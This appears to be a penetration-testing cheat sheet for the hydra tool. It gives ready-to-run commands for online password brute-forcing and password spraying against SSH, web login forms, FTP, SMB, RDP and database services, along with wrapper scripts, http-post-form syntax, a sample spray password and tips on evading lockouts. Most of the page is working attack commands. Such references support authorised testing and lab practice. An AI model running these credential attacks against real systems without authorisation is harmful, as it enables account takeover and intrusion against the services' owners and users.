hydra — online password brute force#
Guessing creds against a live service (SSH, web login, FTP…). This is the loud,
network-facing cousin of offline hash cracking — for hashes you already looted,
use cheat cracking instead. Wrappers default the wordlist to $ROCKYOU; the
target to $TARGET where noted.
The wrappers#
brute-ssh [ip] <user> [wl]—hydra -l <user> -P <wl> <ip> ssh -t 4. ip →$TARGET, wl →$ROCKYOU.-t 4throttles to 4 tasks (SSH drops connections above ~4). One user, many passwords.brute-web <url> <user> [wl] <form-spec>—hydra -l <user> -P <wl> <url> http-post-form "<spec>". Everything from arg 4 on is passed straight through as thehttp-post-formspec (below). No default target — pass the host.
The one grammar#
hydra -l USER -P WORDLIST TARGET SERVICE [module-args]
-L users.txt (list) ^ip/host ssh|ftp|http-post-form|…
-p PASS (single) add -s PORT for non-default ports
-lsingle user vs-L file·-Ppassword list vs-psingle. Spray one password over many users with-L users.txt -p 'Winter2025!'(safer on lockout).-t Nparallel tasks (lower for fragile services),-fstop at first hit,-Vshow every attempt,-s PORTnon-standard port.-e nsralso try null, login-as-spassword, reversed-login.
http-post-form — the one that trips everyone#
Spec is three colon-separated fields: path:body:failure-string.
brute-web http://$TARGET/login admin \
$ROCKYOU "/login.php:user=^USER^&pass=^PASS^:Invalid credentials"
^USER^/^PASS^get substituted each attempt. Copy the real body from Burp/devtools so field names match exactly.- Third field:
F=text= string that means failure (default). Flip toS=textto match on success (e.g.S=Locationfor a redirect, orS=Set-Cookie). - Extra
:H=Header: valappends headers (CSRF token,Content-Type). GET forms → usehttp-get-form. - HTTPS → service is
https-post-form(or add-s 443).
Other services (raw hydra)#
| Service | Command |
|---|---|
| FTP | hydra -l user -P $ROCKYOU ftp://$TARGET |
| SMB | hydra -l admin -P $ROCKYOU smb://$TARGET (or prefer nxc spray — cheat nxc) |
| RDP | hydra -l admin -P $ROCKYOU rdp://$TARGET -t 1 (single-threaded; locks fast) |
| HTTP basic-auth | hydra -l user -P $ROCKYOU $TARGET http-get /admin |
| MySQL / MSSQL | hydra -l sa -P $ROCKYOU $TARGET mysql · … mssql |
| Kerberos user-enum/spray | not hydra — use kb-users (cheat ad) or nxc … --pass-pol |
Stay out of trouble#
- Lockout is the real risk: check the policy first (
nxc-smb $TARGET --pass-pol) and prefer password-spraying (one-p,-Lusers, wait between rounds) over per-user brute. - Trim the list before you fire — full rockyou over the network is slow and noisy. Try
-e nsr, top-100, and known-default creds first. -o found.txtlogs hits ·-Rresumes a crashedhydra.restoresession.
Order: enumerate the exact login request (Burp) → build the
http-post-formspec with a known-bad attempt to nail the failure string → run one user to prove the spec → then widen. Got a hash instead of a login? Wrong tool —cheat cracking. Web login flow →cheat web.